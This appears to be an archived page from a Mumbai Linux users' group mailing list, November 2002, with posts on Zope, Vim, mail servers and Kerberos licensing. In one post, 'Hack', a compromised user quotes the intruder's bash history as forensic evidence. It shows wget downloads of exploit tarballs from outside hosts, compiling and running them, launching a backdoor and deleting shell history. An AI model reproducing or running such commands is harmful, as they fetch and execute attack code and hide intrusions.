Linuxers November 2002

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by vinayak_hegde＠softhome.net 26 Nov '02

26 Nov '02

Hello linuxers, Dr Nagarjuna had posted this URL sometime ago http://www.symonds.net/~fsug-kochi/mass-memo.html There's a dicussion that started on slashdot regarding the memo. As usual, most of the posts on slashdot regarding this are insightful and interesting. Heres's the URL http://yro.slashdot.org/yro/02/11/26/0230258.shtml?tid=109 ************** Vinayak Hegde APGDST Student NCST-Juhu **************

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Re: [ILUG-BOM] Installing & configuring ZOPE
by The Linuxer 26 Nov '02

26 Nov '02

Dear Dr. Nagarjuna Sir, I did check whether Zope was already running using the 'ps aux' command. But Zope was not in that list of processes running on the PC. So please guide me as to how can I install & run the Z Server. With regards, Bhaskar Ghose. Microsoft is not the answer. Microsoft is the question. NO (or Linux) is the answer. ~thelinuxer(a)hotmail.com~ _________________________________________________________________ Add photos to your messages with MSN 8. Get 2 months FREE*. http://join.msn.com/?page=features/featuredemail

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Re:[OT] New to ILUG-BOM
by Natarajan V 26 Nov '02

26 Nov '02

Hi Kishore!, Thanks for spending Rs 2.00 by replying to my mail :P. As of the guidelines to the venues, I wasnt able to find any links in the website. That was the reason why I made the post. I heard that B'lore LUG is aided by commercial organizations, has a bank account of its own, and so on... Being new to Mumbai LUG, I was curious to know about that. After finding some time to go through some of the message archives, I do understand that Mumbai LUG is a bit similar to Chennai LUG. It would be nice, if you could give me the link/directions of the venue, and if possible including the train/bus routes etc... Cheers Natarajan kishor bhagwat wrote: >did you read the mailing list contract when you signed up? >i dont know abt ilug-chennai, but here you are charged for >every mail you send on the LUG.This goes towards >maintaining the mail server.The first 5 mails are free, >after that you pay 1Re per mail.Cash left after paying for >the site hosting is blown up at the LUG meets for pizzas >and drinks. >You will receive a monthly statement of your dues. >We also charge 2% of your first month's salary for jobs you >get through ads on this mailing list.posting of job ads is >free. >For every professional services contract you get through >the LUG mailing list you will have to contribute 2 boxes of >debian cds to the LUG. >Over and above all this, the LUG Core Commitee might impose >a fine for every blazingly nonsensical, irrelevant and/or >MS-supporting mails. > >Welcome to the real world! > >regds, >Kishor >PS: the directions to the meeting place are on the site...

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Open source Vs Free software (Kerberos 5)
by vinayak_hegde＠softhome.net 26 Nov '02

26 Nov '02

hi linuxers, This is a paragraph from the latest issue of network magazine (international edition) <quote> Microsoft added its own proprietary authorization data-the list of Security IDs (SIDs) that are associated with an authenticated user within each ticket-to tickets within its implementation of Kerberos 5. Kerberos uses principles, or structured names, for authorization, but left room in RFC1510 for vendor-based extensions, such as the one Microsoft designed. While this extension is not terribly useful on Unix systems participating in a domain, Microsoft's refusal to share the details of the extensions means that mixed Kerberos domains must use a Windows 2000 DC, instead of a Unix KDC that an organization might prefer. Microsoft's secret extensions are the second reason Microsoft chose to use an open source security protocol. </quote> Here is the link to the full aricle http://www.networkmagazine.com/article/printableArticle?doc_id=NMG20021104S0 007 What worries me is that as in the case above M$ badmouths open source/ free software and uses it when it is to their advantage. As in the case above, the open source concept weakens the free software philosophy. Also another point which struck me in the above paragraph was that M$/ propriety vendors can use open source to their advantage by developing their extensions and use open source code in their applications. GPL (copylefting) takes care of this by requiring extensions/modifiactions to be turned back into the community. Open source has none of this "restrictions" (the programmer himself has chosen to use open source code so, actually they are not restrictions). What M$ managed to do is that people having mixed kerberos domains (which is usually the case in corporates/large organisations) "are forced" to use windows KDC which is wrong. Also if there are some security flaws, one cannot fix them leaving the windows KDC open to attacks. ************** Vinayak Hegde APGDST Student NCST-Juhu **************

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Turning syntax highlighting on in ViM editor.
by The Linuxer 25 Nov '02

25 Nov '02

Hi, Can anybody please tell me how to turn on Syntax highlighting (for C & C++ programs) in the ViM editor? I use SuSE Linux 8.0 Thanx in advance. B.Ghose. ======== Microsoft is not the answer. Microsoft is the question. No (or GNU/Linux) is the answer. ~thelinuxer(a)hotmail.com~ _________________________________________________________________ MSN 8 with e-mail virus protection service: 2 months FREE* http://join.msn.com/?page=features/virus

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Can someone sell this to Bollywood then...
by Frederick Noronha 25 Nov '02

25 Nov '02

------------------------------------------------------------------ DESKTOPLINUX: FILM GIMP--LIGHTS, CAMERA, LINUX! "Film Gimp is a popular open source tool in feature motion pictures. It has been used in Scooby-Doo, Harry Potter, Stuart Little, and other films. Robin Rowe answers some questions about the progress of Film Gimp and other projects..." COMPLETE STORY: http://www.desktoplinux.com/articles/AT7096363910.html ------------------------------------------------------------------ Courtesy: LinuxTodayNews

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Hack
by mails＠munshi.dyndns.org 25 Nov '02

25 Nov '02

Hello, Well, I have been hacked and my /var/log/messages has next to nothing in it. I am keen on getting to this person who did it. Fortunely I have not lost a lot any important data. But first the proof that I have been hacked. /var/log/messages (This is the first line) Nov 18 02:22:53 munshi userdel[8048]: delete user `ftp' Nov 18 02:22:53 munshi userdel[8048]: remove group `ftp' Nov 18 06:24:41 munshi ddclient[23392]: WARNING: cannot connect to checkip.dyn$Nov 18 06:32:21 munshi ddclient[23392]: WARNING: cannot connect to checkip.dyn$Nov 18 06:40:01 munshi ddclient[23392]: WARNING: cannot connect to checkip.dyn$ The part after 6:24 is proper, but my net wasnt working at that time (this is a normal thing and I do not susspect the hacker to do this, it is a normal thing and happens almost everyday, I get loggedout from my servers, the network is up but I cant access the internet also other from the outside world cant access my PC), so there are warning messages by my automatic IP updater from 6:24 onwards. What I am amazed is that after an entry at 2:22am there is an entry at 6:24, so someone has definately hacked and deleted the middle section, he probably left the upper part just to misguide us. The .bas* were deleted, but unfortunately for the hacker the .bash_histrory has some important data there, cd /dev/ida/.sys/trojan wget www.geocities.com/master0n/bestwu.tgz tar zxvf bestwu.tgz cd aw make ./awu 24.132 cd .. lsd ls rm -rf aw bestwu.tgz ls wget www.geocities.com/dont_haxer/b.tgz tar zxvf b.tgz rm -rf b.tgz cd .b ./bash ./bash cd /root rm -rf .bas* After that is what I had been doing. So that is the last entry. So my .bash_profile has been deleted and that is how I came to know that something i wrong, I have not rebooted my system as yet, and do not thing it is necessary. There are a few other things that amaze me here are 1. First is the time 2:22am to 6:24am is free where as there should have been entries from ddclient, a program that I am running. 2. The /dev/ida/.sys directory should exist since that is where the above commands have been run and there is no command that is deleting that directory in .bash_history. 3. netstat -a, ps ax are not working since the required libraries are not present, so I cant check which ports are open. The error given by netstat -a is bash# netstat -a sh: error in loading shared libraries: libtermcap.so.2: cannot open shared object file: Error 23 cat: error in loading shared libraries: libc.so.6: cannot open shared object file: Error 23 egrep: error in loading shared libraries: libc.so.6: cannot open shared object file: Error 23 cat: /root/.net: Too many open files in system bash# ps ax sh: error in loading shared libraries: libtermcap.so.2: cannot open shared object file: Error 23 egrep: error in loading shared libraries: libc.so.6: cannot open shared object file: Error 23 cat: /root/.pstmp: Too many open files in system cat: /root/.pstmp: No such file or directory cat: /root/.pstmp: No such file or directory cat: /root/.pstmp: No such file or directory cat: /root/.pstmp: No such file or directory cat: /root/.pstmp: No such file or directory cat: /root/.pstmp: No such file or directory cat: /root/.pstmp: No such file or directory top is working fine but does not show me any problems 4. wget was downloading mandrake for me, it should have got disconnected since my net wasnt working, but it is still continuing to download the ISO's for me. Also another amazing thing is that wget was downloading 2nd ISO when I logged in and just downloaded 114MB of it and switchedover to 3rd ISO. INFO Working on RH6.2, full installation. telnet was off, ssh is not there, ddclient may have opened a few ports that I may have not noticed, I just downloaded and installed ddclient just two days back, but it is a perl script, I have not yet gone through that script as yet. Please help me to find the person who did this. Thanks in advance. Bye.

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squid and NIS
by slash_axl_rose_upen 25 Nov '02

25 Nov '02

Hi i hav 2 ques for all u 1.>which is most famous proxy server linux servers use?why most isps choose squid??? 2>what is NIS and what is its equivalent in windows??? --------------------------------- Do you Yahoo!? Yahoo! Mail Plus - Powerful. Affordable. Sign up now

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Re: [ILUG-BOM] Mail server?
by Ashok Iyer 25 Nov '02

25 Nov '02

Hi Amish, > I am going live with a complete webhosting and domain name >providing >service. I need to know which is the best mail server for this >purpose. I have worked both with sendmail and qmail and have a few live imstallations of both. My experience tells me that you can safely go with qmail. Remember though, that qmail does not serialize mail. It sends mail on the wire as aoon as it is received. So if you need to serialize your mails, maybe postfix is a better choice- I guess it does this. For virtual hosting in sendmail, maybe the vhost package does what you want but I am not sure. google for it. qmail+OpenLDAP rocks for me. -- ashok

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Re: [ILUG-BOM] Installing & configuring ZOPE
by Baishampayan Ghose 25 Nov '02

25 Nov '02

Hi! I use SuSE Linux 8.0 on a P4 based machine. Can anybody tell me how to install & configure Zope ? I can see that Zope is already installed on my PC ( in the /opt directory). The Doc pages say that I need to compile a .py file which I simply couldn't locate. Please help. Thanx. Bhaskar Ghose. ======= Microsoft is not the answer. Microsoft is the question. No [or GNU /Linux] is the answer. _________________________________________________________________ Add photos to your messages with MSN 8. Get 2 months FREE*. http://join.msn.com/?page=features/featuredemail

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Linuxers November 2002